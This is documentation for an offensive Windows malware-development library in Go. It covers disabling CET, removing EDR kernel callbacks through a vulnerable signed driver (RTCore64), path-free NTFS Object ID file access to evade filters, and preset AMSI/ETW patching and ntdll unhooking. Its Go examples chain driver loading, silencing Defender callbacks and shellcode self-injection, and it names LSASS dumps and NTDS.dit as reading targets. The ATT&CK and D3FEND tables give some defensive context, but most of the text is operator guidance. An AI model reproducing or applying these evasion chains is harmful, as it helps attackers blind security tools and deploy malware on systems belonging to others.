D3FEND counter: D3-PSEP.
Hardening: treat SetProcessMitigationPolicy calls as high-fidelity
signal in process-spawn telemetry. The ENDBR64 prefix on injected
memory is a reasonable secondary heuristic.
MITRE ATT&CK
| T-ID | Name | Sub-coverage | D3FEND counter |
|---|---|---|---|
| T1562.001 | Impair Defenses: Disable or Modify Tools | shadow-stack policy relax + marker prefix | D3-PSEP |
Limitations
Disablefails on/CETCOMPATimages. The Go runtime today is not, but a/CETCOMPATDLL loaded into the process locks the policy on.Wrapis the always-available fallback.Wrapdoesn't help with shadow-stack misalignment. Only the indirect-branch tracker is bypassed by ENDBR64. The shadow stack catches return-address mismatches; if your callback returns to a non-pristine RSP, CET still kills the process.- Pre-Win11 hosts have no CET.
Enforced()returnsfalse; bothDisableandWrapare no-ops. Calling them is harmless. - Non-Intel-CET CPUs (older Intel Skylake/Cascade Lake, all AMD
before Zen 4) have no CET hardware.
Enforced()returnsfalse.
See also
inject— APC paths require Marker on Win11+CET hosts.- Microsoft — CET shadow-stack overview.
- Intel — CET specification.
- Connor McGarr — CET internals.
Kernel callback enumeration + removal
← evasion area README · docs/index
TL;DR
EDR drivers don't just hook userland — they register kernel notification callbacks so the OS itself tells them every time a process / thread / image is created. Userland evasion (AMSI patches, ntdll unhooking) is invisible to these callbacks. Killing them at the kernel level is the only way to blind the EDR's process-spawn telemetry without admin-level driver work.
This package gives you two operations:
| Operation | What you need | What you get |
|---|---|---|
Enumerate | A KernelReader (BYOVD) + the running ntoskrnl's offset table | List of every registered callback (kind / index / address / owning driver / enabled bit) — directly reveals which EDR driver is listening |
Remove + Restore | A KernelReadWriter (BYOVD) + the index of a callback to silence | EDR stops getting that event class until you restore (or process exits) |
What this DOES achieve:
- Process / thread / image-load callbacks for the targeted EDR go silent. The driver still runs, but it stops being notified.
- Surgical: you can kill one EDR's callbacks without affecting Windows Defender or other agents.
What this does NOT achieve:
- Userland telemetry stays alive — AMSI, ETW, inline hooks
in ntdll. Layer with
evasion/preset.Stealthfor those. - Other kernel hook surfaces stay intact — minifilter
callbacks (
FltRegisterFilter), object callbacks (ObRegisterCallbacks), Etw kernel-mode providers, etc. The EDR can still see file opens / handle ops via those. Each is a separate attack. - Doesn't bypass HVCI/PG — Microsoft's PatchGuard scans these arrays periodically. If your driver's BYOVD primitive triggers PG, you BSOD. Tested with RTCore64 → safe; untested drivers may not be.
⚠ Requires BYOVD — every kernel R/W primitive in this
codebase routes through a signed-but-vulnerable driver
(RTCore64, kdmapper + custom, EDRSandBlast). User-mode alone
cannot read or write nt!Psp*NotifyRoutine arrays. See
kernel/driver/rtcore64.
Primer — vocabulary
Six terms recur on this page:
Notification callback — a function pointer drivers register via
PsSetCreateProcessNotifyRoutine/etc. The kernel calls every registered function on the relevant event (process creation, thread creation, image load). Up to 64 slots per array.
PEX_CALLBACK— packed 64-bit slot value: upper 60 bits point at aROUTINE_BLOCK, lower 4 bits are flags (enabled / refcount). The actual callback function lives at offset 8 inside theROUTINE_BLOCK— one indirection beyond the slot.BYOVD ("Bring Your Own Vulnerable Driver") — load a legitimately-signed-but-vulnerable third-party driver (RTCore64 from MSI Afterburner, GIGABYTE GDRV, …) that exposes an IOCTL for arbitrary kernel R/W. The driver itself is signed, so Driver Signature Enforcement loads it; the vulnerability gives you the kernel primitive. Required for everything in this package.
OffsetTable— caller-supplied RVAs ofPspCreateProcessNotifyRoutineand friends inntoskrnl.exe. Different per Windows build — changes with every cumulative update. No built-in database because hardcoding stale offsets points at garbage.PatchGuard (PG) — Windows kernel integrity check that scans critical structures periodically. Some BYOVD primitives trigger PG → BSOD. RTCore64's slow IOCTL pattern stays under the radar; faster drivers may not.
HVCI (Hypervisor-protected Code Integrity) — Win11 default mitigation that runs the kernel under a hypervisor and refuses to map unsigned kernel memory. HVCI ON breaks most BYOVD paths (the driver loads but its kernel writes get blocked). The rtcore64 path documents which builds it bypasses.
Modern EDR / AV products hook into kernel event streams by registering
kernel notification callbacks via PsSetCreateProcessNotifyRoutine,
PsSetCreateThreadNotifyRoutine, and PsSetLoadImageNotifyRoutine.
Each API appends a callback slot to one of three in-kernel arrays:
| Array | Trigger | Used by |
|---|---|---|
PspCreateProcessNotifyRoutine | NtCreateUserProcess | EDR process-start telemetry |
PspCreateThreadNotifyRoutine | PspInsertThread | EDR thread-start telemetry |
PspLoadImageNotifyRoutine | MiMapViewOfImageSection | EDR image-load scanning |
Each slot is a PEX_CALLBACK — a 64-bit value where the upper 60
bits point at a ROUTINE_BLOCK and the lower 4 bits are flags
(enabled, reference count). The real callback function lives at
offset 8 inside the ROUTINE_BLOCK.
Enumerating the arrays tells the operator which driver registered which callback — typically directly revealing the EDR's kernel driver
- the function it hooks. Removing a slot is the more aggressive play: the EDR stops seeing the relevant kernel events. Both paths need arbitrary kernel R/W, which user-mode alone cannot reach. Every public technique (EDRSandBlast, kdmapper + custom driver, RTCore64) relies on a signed-driver primitive — BYOVD.
How It Works
sequenceDiagram
participant U as "Caller"
participant K as "kcallback"
participant R as "KernelReader (BYOVD)"
participant N as "ntoskrnl"
U->>K: NtoskrnlBase()
K->>N: NtQuerySystemInformation(SystemModuleInformation)
N-->>K: base = 0xFFFFF80123400000
U->>K: Enumerate(reader, OffsetTable)
loop for each configured RoutineRVA
K->>R: ReadKernel(base + rva, ArrayLen * 8)
R-->>K: ArrayLen slots, 8 bytes each
loop per non-zero slot
K->>K: block = slot AND NOT 0xF
K->>R: ReadKernel(block + 8, 8) -- function pointer
R-->>K: callback function VA
K->>K: DriverAt(fn) -- driver name
end
end
K-->>U: []Callback Kind, Index, Address, Module, Enabled
Steps:
NtoskrnlBaseresolves the kernel image base viaNtQuerySystemInformation(SystemModuleInformation)— user-mode-only, no driver needed.Enumeratereads the three callback arrays frombase + RVAfor each configured array, masks the lower 4 tag bits, follows theROUTINE_BLOCK + 8indirection to the actual callback function, and resolves the owning driver viaDriverAt(best-effort module-name lookup).Remove(separate primitive) reads the original 8-byte slot, captures it into an opaqueRemoveToken, then writes 8 zero bytes. The EDR's notify routine stops being called as soon as the kernel sees the zero write.Restorere-writes the captured token; safe to defer immediately afterRemovebecauseRemoveToken{}IsZero()makes restore a no-op whenRemovereturned an error.
The read-original / write-zero pair has a ~µs race window where a competing actor could observe a half-written slot. RTCore64 issues both IOCTLs fast enough that production scanners rarely observe this in practice.
Per-build offset table
OffsetTable.CreateProcessRoutineRVA /
CreateThreadRoutineRVA / LoadImageRoutineRVA are
caller-populated. The package ships no built-in database
because offsets shift with every cumulative ntoskrnl update —
hardcoding a stale offset would point callers at garbage and
silently produce wrong results.
Derivation workflow (offline, one-time per build):
- Grab the victim's
ntoskrnl.exefromC:\Windows\System32\ntoskrnl.exe. - Fetch its PDB:
symchk /if ntoskrnl.exe /s SRV*c:\symbols*https://msdl.microsoft.com/download/symbols. - Dump the symbol RVA:
llvm-pdbutil dump --globals ntoskrnl.pdb | grep PspCreateProcessNotifyRoutine. - Record the RVA in
OffsetTable{Build: 19045, CreateProcessRoutineRVA: 0xC1AAA0, ...}. - Build a
map[uint32]OffsetTablekeyed by build and pick at runtime viawin/version.Current().BuildNumber.
EDRSandBlast publishes a regularly-updated offset table — treat it as upstream reference, not as committed library state.
API → godoc
pkg.go.dev/github.com/oioio-space/maldev/evasion/kcallback is the authoritative
reference for every exported symbol. This page teaches the
concepts; the godoc is the specification.
Examples
Simple — enumerate
v := version.Current()
tab := offsetsByBuild[v.BuildNumber] // operator-curated map
if tab.Build == 0 {
log.Fatalf("no offsets for ntoskrnl build %d", v.BuildNumber)
}
reader := MyDriverReader{} // any BYOVD KernelReader
cbs, err := kcallback.Enumerate(&reader, tab)
if err != nil {
log.Fatal(err)
}
for _, cb := range cbs {
fmt.Printf("%v[%d] -> %#x (%s) enabled=%v\n",
cb.Kind, cb.Index, cb.Address, cb.Module, cb.Enabled)
}
Sample output:
KindCreateProcess[0] -> 0xFFFFF80123456789 (ntoskrnl.exe) enabled=true
KindCreateProcess[1] -> 0xFFFFF88765432100 (cidevrt.sys) enabled=true
KindCreateProcess[2] -> 0xFFFFF89abcdef000 (WdFilter.sys) enabled=true
KindCreateThread [0] -> 0xFFFFF89abcdef800 (WdFilter.sys) enabled=true
KindLoadImage [0] -> 0xFFFFF89abcdef100 (WdFilter.sys) enabled=true
Composed — RTCore64 + selective Remove + Restore
Pair the enumeration with a driver-backed KernelReadWriter,
zero the slots owned by the EDR's notify routines for the
duration of the payload, then restore everything before exit.
import (
"github.com/oioio-space/maldev/evasion/kcallback"
"github.com/oioio-space/maldev/kernel/driver/rtcore64"
)
var d rtcore64.Driver
if err := d.Install(); err != nil {
log.Fatal(err)
}
defer d.Uninstall()
tab := kcallback.OffsetTable{
Build: 19045,
CreateProcessRoutineRVA: 0xC1AAA0,
CreateThreadRoutineRVA: 0xC1AC20,
LoadImageRoutineRVA: 0xC1AB40,
ArrayLen: 64,
}
cbs, _ := kcallback.Enumerate(&d, tab)
defenderModules := map[string]bool{
"WdFilter.sys": true, "MsSecCore.sys": true, "WdNisDrv.sys": true,
}
var tokens []kcallback.RemoveToken
for _, cb := range cbs {
if !defenderModules[cb.Module] {
continue
}
tok, err := kcallback.Remove(cb, &d)
if err != nil {
log.Printf("remove %v[%d]: %v", cb.Kind, cb.Index, err)
continue
}
tokens = append(tokens, tok)
}
defer func() {
for _, tok := range tokens {
_ = kcallback.Restore(tok, &d)
}
}()
// ... payload runs while the Defender callbacks are silenced ...
Advanced — chain into self-injection
Composing kcallback with inject and evasion/preset so the
disabled-callback window covers the noisiest part of the chain:
// 1. BYOVD up.
var d rtcore64.Driver
_ = d.Install()
defer d.Uninstall()
// 2. Apply the in-process Stealth preset (AMSI / ETW / unhook).
caller := wsyscall.New(wsyscall.MethodIndirect, wsyscall.NewHashGate())
defer caller.Close()
_ = preset.Stealth().ApplyAll(caller)
// 3. Zero Defender callbacks.
cbs, _ := kcallback.Enumerate(&d, tab)
var tokens []kcallback.RemoveToken
for _, cb := range cbs {
if cb.Module != "WdFilter.sys" {
continue
}
if tok, err := kcallback.Remove(cb, &d); err == nil {
tokens = append(tokens, tok)
}
}
defer func() {
for _, tok := range tokens {
_ = kcallback.Restore(tok, &d)
}
}()
// 4. Self-inject.
inj, _ := inject.NewWindowsInjector(&inject.WindowsConfig{
Config: inject.Config{Method: inject.MethodCreateThread},
SyscallMethod: wsyscall.MethodIndirect,
})
_ = inj.Inject(shellcode)
OPSEC & Detection
| Vector | Visibility | Mitigation |
|---|---|---|
BYOVD driver install (NtLoadDriver + SCM) | very-noisy — every vendor watches | accept; this is the price of any kernel R/W primitive |
NtQSI(SystemModuleInformation) from low-IL | medium-IL gate; flagged in some pre-injection patterns | run from an already-elevated context |
| Slot write itself | invisible at user-mode; visible to defender drivers that snapshot the array | reduce window: zero → run payload → restore fast |
| Race between read and write | ~µs window; rarely observable | use RTCore64 (fast IOCTL) over slower drivers |
Module name in Callback.Module | static reveal of EDR driver presence | informational; use to decide whether to engage |
D3FEND counters: D3-DLIC (Driver Load Integrity Checking) on the BYOVD load path, D3-AIPA (Application Integrity Analysis) on post-disable EDR sensors that re-snapshot their own callbacks.
MITRE ATT&CK
| T-ID | Name | Sub-coverage | D3FEND counter |
|---|---|---|---|
| T1562.001 | Impair Defenses: Disable or Modify Tools | kernel-callback array zero | D3-AIPA |
| T1014 | Rootkit | kernel-mode access | D3-DLIC |
| T1543.003 | Create or Modify System Process: Windows Service | BYOVD service install | D3-SBV |
Limitations
- User-mode read is impossible.
NullKernelReader(the default injection target) always returnsErrNoKernelReader. A real enumeration needs a driver primitive. - Offsets shift frequently. Pin your offset table to specific
build numbers; always fall back to
ErrOffsetUnknownwhen the current build isn't mapped. The package intentionally ships no built-in database. - The Enabled bit is approximate. The low bit of a
PEX_CALLBACKslot isn't universally "enabled" — in some Windows builds it's part of the reference count. Trust theAddressfield as the primary signal; treatEnabledas a hint. - No removal-helper-by-module. A
RemoveByModule(name, writer)convenience is on the backlog; today operators iterate theEnumerateresult and checkcb.Modulethemselves. - HVCI / vulnerable-driver block list. RTCore64 is refused on
HVCI-on Win10/11 ≥ 2021-09 — pick a different BYOVD or accept
the gate.
kcallbackis driver-agnostic; any reader satisfyingKernelReaderworks.
See also
- Evasion area README
kernel/driver— supplies the BYOVD R/W primitive consumed herekernel/driver/rtcore64— concrete signed-driver implementation- package godoc
StealthOpen — NTFS Object ID File Access
MITRE ATT&CK: T1036 - Masquerading
Package: evasion/stealthopen
Platform: Windows (NTFS only)
Detection: Low
TL;DR
You want to read a file (LSASS dump, NTDS.dit, decoy config) without any defender's path-keyed filter noticing. Sysmon FileCreate rules, EDR minifilters, AV path matchers — they all key on "what path did this process open?" If you open the file by its 128-bit NTFS Object ID instead of its path, those rules have nothing to match on.
The flow is two phases:
| Phase | What you do | When |
|---|---|---|
| Stamp | GetObjectID(path) reads or assigns the file's Object ID. SetObjectID(path, guid) installs a caller-chosen GUID. | Once. On the build host, or by a stager process willing to touch the path one time. |
| Open path-free | OpenByID(volume, guid) opens the file via the volume root, no path. | Every subsequent access. |
What this DOES achieve:
- Path-keyed Sysmon / EDR / AV filters don't trigger — the open request the kernel sees has no path string.
- Pre-shared GUID lets a stager and second-stage agree on a file without either side carrying its path as a string.
What this does NOT achieve:
- Minifilters that resolve back to a path still see the
real file (
FltGetFileNameInformationanswers based on the resolvedFILE_OBJECT, not the open request). Mature EDRs do this — defeat name-keyed filters, not signed-callback data. - NTFS only — no FAT, no exFAT, no ReFS without Object ID support. Most user data lives on NTFS, but USB drives and network shares are a coin flip.
- The stamp is persistent — the Object ID lives in the
MFT until the file is deleted. Defenders running
fsutil objectid query <path>see the GUID. If you want truly invisible, use a freshly-stamped file you control.
Primer — vocabulary
Five terms recur on this page:
NTFS Object ID — a 128-bit GUID NTFS optionally attaches to a file via the
$OBJECT_IDMFT attribute. Either lazily assigned byFSCTL_CREATE_OR_GET_OBJECT_ID(random GUID) or caller-chosen viaFSCTL_SET_OBJECT_ID. The file is then reachable by GUID alone, no path needed.MFT (Master File Table) — NTFS's central index. Every file has one MFT record holding its metadata (timestamps, attributes, data runs). Object IDs live as one of those attributes.
FSCTL (File System Control) — a control code passed via
DeviceIoControlto talk directly to a filesystem driver.FSCTL_CREATE_OR_GET_OBJECT_IDandFSCTL_SET_OBJECT_IDare the two this technique uses.OpenFileById — Win32 API that opens a file by
FILE_ID(16 bytes for Object ID type, 8 bytes for FRN type). Takes a volume handle + the ID — no path argument exists in the call signature, so no path string can be logged.Minifilter — a kernel-mode filter driver (Sysmon's
SysmonDrv, EDR agents) that interceptsIRP_MJ_CREATEand friends. Some key on the path field of the IRP (defeated here); some resolveFILE_OBJECTback to a path after the open succeeds (still see you).
How It Works
sequenceDiagram
participant Code as "stealthopen"
participant Vol as "Volume handle"
participant NTFS as "NTFS driver"
participant MFT as "$OBJECT_ID attr"
Note over Code: Phase 1 — stamp the target
Code->>Vol: CreateFile("C:\\sensitive.bin")
Code->>NTFS: FSCTL_CREATE_OR_GET_OBJECT_ID
NTFS->>MFT: Write 128-bit GUID
NTFS-->>Code: 16-byte Object ID
Note over Code: Phase 2 — reopen without the path
Code->>Vol: CreateFile("C:\\") root handle
Code->>NTFS: OpenFileById(ObjectIdType, GUID)
NTFS->>MFT: Look up GUID → file record
NTFS-->>Code: *os.File (path-free open)
Key points:
FSCTL_CREATE_OR_GET_OBJECT_IDlazily assigns an Object ID if the file has none;FSCTL_SET_OBJECT_IDinstalls a caller-chosen GUID (useful for pre-shared identifiers between implant and operator).OpenFileByIdwithFILE_ID_TYPE = ObjectIdTyperequires a volume handle, not a path — the kernel dispatches straight to the MFT.- Minifilters that resolve
FILE_OBJECTback to a path viaFltGetFileNameInformationdo still see the real file — this technique defeats name-keyed filters, not every defensive mechanism.
Usage
import "github.com/oioio-space/maldev/evasion/stealthopen"
// One-time: stamp the sensitive file so we can recall its GUID later.
id, err := stealthopen.GetObjectID(`C:\sensitive.bin`)
if err != nil {
log.Fatal(err)
}
// Later — without ever mentioning the path:
f, err := stealthopen.OpenByID(`C:\`, id)
if err != nil {
log.Fatal(err)
}
defer f.Close()
io.Copy(os.Stdout, f)
Installing a known GUID (pre-shared between stager and second stage):
well := [16]byte{0xDE, 0xAD, 0xBE, 0xEF, /* ... */}
_ = stealthopen.SetObjectID(`C:\ProgramData\tmp.cfg`, well)
// Second stage knows the GUID by constant — no path string on either side.
f, _ := stealthopen.OpenByID(`C:\`, well)
Combined Example
Drop an encrypted payload, stamp it with a fixed Object ID, then delete all path traces from the implant so a later call opens the same bytes without any filename string ever appearing in the implant image or in the kernel open request.
package main
import (
"io"
"os"
"github.com/oioio-space/maldev/crypto"
"github.com/oioio-space/maldev/evasion/stealthopen"
)
// Baked-in GUID — the only reference the second stage needs.
var payloadID = [16]byte{
0x11, 0x22, 0x33, 0x44, 0x55, 0x66, 0x77, 0x88,
0x99, 0xaa, 0xbb, 0xcc, 0xdd, 0xee, 0xff, 0x00,
}
func drop(key, plaintext []byte) error {
const tmp = `C:\ProgramData\Intel\update.bin`
blob, _ := crypto.EncryptAESGCM(key, plaintext)
if err := os.WriteFile(tmp, blob, 0o644); err != nil {
return err
}
return stealthopen.SetObjectID(tmp, payloadID)
}
func reopen(key []byte) ([]byte, error) {
f, err := stealthopen.OpenByID(`C:\`, payloadID)
if err != nil {
return nil, err
}
defer f.Close()
blob, err := io.ReadAll(f) // read via the path-free handle
if err != nil {
return nil, err
}
return crypto.DecryptAESGCM(key, blob)
}
The implant binary never contains the string update.bin nor a hard-coded
path — only the 16-byte GUID. Any EDR matching on *.bin under
C:\ProgramData misses the reopen.
Composing with Other Packages — the Opener Pattern
Reading a sensitive file directly (low-level OpenByID call) is fine for
one-off access. For the packages inside maldev that themselves open
sensitive files (unhook reading ntdll, phantomdll reading System32 DLLs,
herpaderping reading the payload), stealthopen exposes an Opener
abstraction that mirrors how *wsyscall.Caller is passed through the
code: an optional, nil-safe handle that consuming packages accept as a
plain parameter.
type Opener interface {
Open(path string) (*os.File, error)
}
// Standard: plain os.Open. Default when the caller passes nil.
type Standard struct{}
// MultiStealth (recommended default): per-path lazy ObjectID capture
// + cache. The path-based hook fires once per unique path; every
// subsequent open of the same path routes through OpenByID. Zero
// value works.
type MultiStealth struct{ /* unexported cache + mutex */ }
// Stealth: pre-bound to one file, captured at construction. Use when
// you know the target up front and want zero per-call overhead — Open
// ignores its path argument.
type Stealth struct {
VolumePath string
ObjectID [16]byte
}
// NewStealth derives both fields from a real path in one call.
func NewStealth(path string) (*Stealth, error)
// Use normalizes the nil case to Standard.
func Use(opener Opener) Opener
When to pick which
| Situation | Pick |
|---|---|
| You don't know which files the consumer opens | &MultiStealth{} |
| You know the single target file and want zero overhead | NewStealth(path) |
| You want plain path-based opens (the default) | nil (or &Standard{}) |
The pattern in practice — recommended (MultiStealth)
import (
"github.com/oioio-space/maldev/evasion/stealthopen"
"github.com/oioio-space/maldev/evasion/unhook"
)
// Zero-config: any file the consumer opens is captured + cached
// transparently. The first open of each unique path pays one
// path-based hook event; every subsequent open of the same path
// routes through OpenByID and never re-touches the hook.
opener := &stealthopen.MultiStealth{}
_ = unhook.ClassicUnhook("NtCreateSection", caller, opener)
_ = unhook.FullUnhook(caller, opener)
// You don't have to know that unhook reads ntdll.dll repeatedly.
The pattern in practice — pre-bound (Stealth)
sysDir, _ := windows.GetSystemDirectory()
ntdllPath := filepath.Join(sysDir, "ntdll.dll")
// One-time: capture ntdll's Object ID + volume root.
stealth, err := stealthopen.NewStealth(ntdllPath)
if err != nil { /* non-NTFS, or no ObjectID — fall back to nil */ }
// Same wiring; this variant skips the per-call cache lookup.
_ = unhook.ClassicUnhook("NtCreateSection", caller, stealth)
_ = unhook.FullUnhook(caller, stealth)
Where it's wired today
| Consumer | Function / Config field | What gets stealth-opened |
|---|---|---|
evasion/unhook.ClassicUnhook | 3rd arg | System32\ntdll.dll |
evasion/unhook.FullUnhook | 2nd arg | System32\ntdll.dll |
inject.PhantomDLLInject | 4th arg | System32\<dllName> (read and the HANDLE passed to NtCreateSection) |
process/tamper/herpaderping.Config.Opener | struct field | PayloadPath + DecoyPath |
All four treat nil as "use the existing path-based open" — no behavior
change for existing callers. Tests in evasion/stealthopen/opener_test.go,
evasion/stealthopen/opener_windows_test.go, evasion/unhook/opener_windows_test.go,
inject/phantomdll_opener_test.go, and process/tamper/herpaderping/opener_windows_test.go
pin the contract (spy-opener call-counting + real end-to-end round-trip
through OpenFileById).
Limitations to remember
- NTFS only. ReFS / FAT32 / UNC shares without NTFS expose no Object ID.
Detect by checking
NewStealth's error. - Object ID must preexist on the target file. System32 DLLs generally
do have one; fresh payloads may need
GetObjectID(creates on demand, often works without admin) orSetObjectID(admin, lets you pin a fixed GUID). - Volume root required.
VolumeFromPathextracts it from drive-letter, Win32-prefixed, and UNC paths — but a\\?\Volume{GUID}\root needsGetVolumePathNameunder the hood; the helper does that for you. - Not a magic bullet. Minifilters that resolve the final
FILE_OBJECTto a path after the open still see the real path. This beats name-keyed pre-open filters, not every defensive mechanism.
API → godoc
pkg.go.dev/github.com/oioio-space/maldev/evasion/stealthopen is the authoritative
reference for every exported symbol. This page teaches the
concepts; the godoc is the specification.
See also
- Evasion area README
cleanup/ads— companion NTFS-Object-ID-aware ADS primitivepersistence/lnk— backlog P2.16 wires LNK creation through stealthopen for fileless drop
Preset — Ready-to-Use Evasion Combinations
Package: evasion/preset
Platform: Windows only
Detection: Varies by preset (Low for Minimal, Medium for Stealth, High for Aggressive)
Preset bundles the most common evasion techniques into four opinionated
configurations keyed on risk tolerance. Each preset returns
[]evasion.Technique for use with evasion.ApplyAll().
TL;DR
You're about to do something noisy (load shellcode, run a script, inject into another process). Defenders watch for that activity through AMSI, ETW, userland API hooks, and process mitigation policies. Presets bundle pre-composed evasion stacks so you don't have to compose them yourself.
Pick the right preset based on what you're staging:
| You're running… | Use | What it disables | Reversible | When to pick |
|---|---|---|---|---|
| A dropper / stager / first-stage | Minimal() | AMSI + ETW | Yes (process restart) | Smallest footprint. No disk reads, no process changes — just three memory writes. |
| Post-ex tooling that needs to inject | Stealth() | Minimal + classic unhook of 10 NTAPI functions | Yes | Sweet spot for most injectors. Handles the EDR userland-hook layer. |
| Modern Win11 24H2+ with CET enforcement | Hardened() | Stealth + CET opt-out | Yes | Same as Stealth but APC-delivered shellcode survives ENDBR64 enforcement. |
| Long-dwell implant where stealth > flexibility | Aggressive() | Hardened + ACG + BlockDLLs | No (process-wide, irreversible) | After all RWX allocation + injection is done. ACG forbids future RWX writes; BlockDLLs forbids unsigned DLL loads. |
⚠ Aggressive is irreversible at the process level: ACG and BlockDLLs are mitigation policies the kernel enforces process-wide until the process exits. Apply LAST in your chain — anything needing RWX afterwards will fail.
⚠ One preset per process: presets stack functionally
(Stealth ⊃ Minimal), but applying two of them double-patches
AMSI/ETW (idempotent — second patch is a no-op write of the
same bytes, but wastes integrity-check budget if EDR re-hashes).
Standalone helper:
CETOptOut()
returns a single Technique callers can pull into a custom stack
without committing to a full preset. No-op when CET isn't enforced.
Primer — vocabulary
Five terms recur on this page:
Technique — a value satisfying
evasion.Techniqueinterface (Apply(caller) error). Presets return slices of these;evasion.ApplyAllruns them in order and collects per-Technique failures into a map.AMSI (Anti-Malware Scan Interface) — Microsoft's hook point inside script hosts (PowerShell, JScript, VBScript) and the .NET runtime. Asks the registered AV provider "is this string / buffer / assembly malicious?" before execution. Patching
AmsiScanBufferto return clean blinds it.ETW (Event Tracing for Windows) — kernel telemetry framework. The
Microsoft-Windows-Threat-Intelligenceprovider in particular flags suspicious memory operations. PatchingEtwEventWrite*+NtTraceEventsilences events from this process.Userland hook — an inline patch (typically JMP rel32) an EDR installs at the start of an NTAPI function so it can inspect arguments before the syscall fires. Classic unhooking restores the original prologue bytes from a fresh ntdll image on disk.
CET (Control-flow Enforcement Technology) — Intel hardware feature Microsoft enforces on Win11 24H2+ pool dispatchers. Requires every indirect-jump target (including APC-delivered shellcode) to start with an ENDBR64 instruction.
CETOptOutopts the process out so APC-delivered shellcode doesn't need the prefix. Most current shellcode generators don't emit ENDBR64.ACG (Arbitrary Code Guard) / BlockDLLs — process mitigation policies. ACG forbids new RWX allocations + RX writes after enable. BlockDLLs forbids loading unsigned DLLs. Both irreversible — applied LAST in Aggressive for that reason.
How It Works
A preset is just a function returning []evasion.Technique. evasion.ApplyAll iterates the slice and invokes each technique's Apply() in order, collecting per-technique failures into a map. Nothing magic: the value is curation, not new code.
flowchart LR
A[preset.Stealth] --> B["[]evasion.Technique<br>amsi + etw + 10x unhook"]
B --> C["evasion.ApplyAll(slice, caller)"]
C --> D{"each .Apply()"}
D --> E[AMSI patched]
D --> F[ETW silenced]
D --> G[ntdll prologues restored]
D --> H["errors map[name]error"]
preset.Minimal()— AMSI + ETW only. No disk reads, no mitigation policies.preset.Stealth()— Minimal + classic unhook of the 10 functions inunhook.CommonHookedFunctions.preset.Hardened()— full AMSI + full ETW + full ntdll unhook + CET opt-out. CET-aware sweet spot: APC-delivered shellcode survives Win11 24H2+ ENDBR64 enforcement without losing the ability to inject afterwards.preset.Aggressive()— Hardened + ACG + BlockDLLs. Irreversible.
preset.CETOptOut() — standalone Technique callers can pull into a custom stack. No-op when CET is not enforced.
Order matters for Aggressive — ACG and BlockDLLs permanently restrict the process, so all RWX allocation and injection must be done before applying it.
Minimal
Risk: Low
Use case: Droppers, stagers, initial-access payloads where staying off
radar matters more than bypassing advanced EDR hooks.
Included techniques
| Technique | Package | What it does |
|---|---|---|
amsi.ScanBufferPatch() | evasion/amsi | Overwrites AmsiScanBuffer entry with xor eax,eax; ret — all AMSI scans return clean |
etw.All() | evasion/etw | Patches all EtwEventWrite* functions and NtTraceEvent with xor rax,rax; ret — ETW events are silently dropped |
Rationale
AMSI and ETW are the two highest-signal telemetry paths for script/reflective loaders. Patching only these two functions has the smallest footprint: no disk reads of ntdll, no process spawning, no mitigation policy changes. The patch surface is three small memory writes. Suitable whenever the primary concern is bypassing in-memory script scanning rather than defeating userland hooks on injection primitives.
Stealth
Risk: Medium
Use case: Post-exploitation tooling, injectors, and loaders that need to
perform process injection without inline hook interference from EDR agents.
Included techniques
Stealth is a superset of Minimal — all Minimal techniques apply, plus:
| Technique | Package | What it does |
|---|---|---|
amsi.ScanBufferPatch() | evasion/amsi | (from Minimal) AMSI bypass |
etw.All() | evasion/etw | (from Minimal) ETW silence |
unhook.Classic("NtAllocateVirtualMemory") | evasion/unhook | Restores first 5 bytes of syscall stub from on-disk ntdll |
unhook.Classic("NtWriteVirtualMemory") | evasion/unhook | Same for write primitive |
unhook.Classic("NtProtectVirtualMemory") | evasion/unhook | Same for protect primitive |
unhook.Classic("NtCreateThreadEx") | evasion/unhook | Same for thread creation |
unhook.Classic("NtMapViewOfSection") | evasion/unhook | Same for section mapping |
unhook.Classic("NtQueueApcThread") | evasion/unhook | Same for APC-based injection |
unhook.Classic("NtSetContextThread") | evasion/unhook | Same for thread hijacking |
unhook.Classic("NtResumeThread") | evasion/unhook | Same for thread resume |
unhook.Classic("NtCreateSection") | evasion/unhook | Same for section creation |
unhook.Classic("NtOpenProcess") | evasion/unhook | Same for process opening |
All 10 functions come from unhook.CommonHookedFunctions via unhook.CommonClassic().
Rationale
EDR/AV products hook the 10 functions in CommonHookedFunctions because they
are the core primitives for process injection and shellcode execution. Classic
unhooking reads the original prologue bytes from the clean on-disk ntdll.dll
and writes them back — no process spawning, just targeted 5-byte patches.
This is surgical: only restore what is likely hooked, minimise the number of
memory writes, and avoid the large-region writes of FullUnhook that are
easier to detect via integrity checks. The combination of AMSI+ETW silence
plus unhooking gives adequate coverage for most injection scenarios without
the irreversible side effects of Aggressive.
Aggressive
Risk: High
Use case: Red team finals, assumed-breach scenarios, long-dwell implants
where maximum evasion is worth trading away compatibility and reversibility.
CRITICAL: ACG is irreversible.
acg.Guard()callsSetProcessMitigationPolicy(ProhibitDynamicCode=1). After this call,VirtualAlloc(PAGE_EXECUTE_*)and related calls fail for the remainder of the process lifetime. You MUST complete all shellcode injection and RWX memory allocation BEFORE callingpreset.Aggressive(). Applying it beforehand will break your own injection code.
Included techniques
| Technique | Package | What it does |
|---|---|---|
amsi.All() | evasion/amsi | Patches both AmsiScanBuffer and AmsiOpenSession — full AMSI neutralisation |
etw.All() | evasion/etw | Patches all EtwEventWrite* and NtTraceEvent |
unhook.Full() | evasion/unhook | Replaces the entire ntdll .text section from the on-disk copy — removes every inline hook in one operation |
acg.Guard() | evasion/acg | Enables Arbitrary Code Guard — blocks EDR from injecting executable code into this process (irreversible) |
blockdlls.MicrosoftOnly() | evasion/blockdlls | Blocks loading of non-Microsoft-signed DLLs — prevents EDR agent DLLs from being injected (irreversible) |
Rationale
Aggressive trades reversibility for depth. amsi.All() patches both AMSI
entry points rather than just ScanBuffer, closing the bypass gap around
session-level checks. unhook.Full() replaces the entire .text section
rather than patching individual functions — guaranteed to remove every hook,
at the cost of a larger and more conspicuous memory write. ACG and BlockDLLs
are process mitigation policies that harden the process against EDR
counter-injection; because they are kernel-enforced and irreversible, they
provide the strongest possible protection but must be the last step. This
combination is appropriate when the mission is high-value and the dwell time
is long enough that EDR will attempt active response.
Usage Examples
Quick start — apply a preset at startup
The shortest "blind the EDR before doing anything risky" pattern.
Pick a preset, hand it to evasion.ApplyAll, log per-technique
failures (the map is empty when everything succeeds).
For the simpler "I only want one error to return" shape use
evasion.ApplyAllAggregated instead —
same call, but the per-technique map is folded into a single
sorted-by-name error chain with an N/M failed prefix.
package main
import (
"log"
"github.com/oioio-space/maldev/evasion"
"github.com/oioio-space/maldev/evasion/preset"
)
func main() {
// Apply Stealth (= AMSI + ETW + 10x classic ntdll unhook).
// Each technique runs in order; failures don't abort the
// chain — they're collected per name in the returned map.
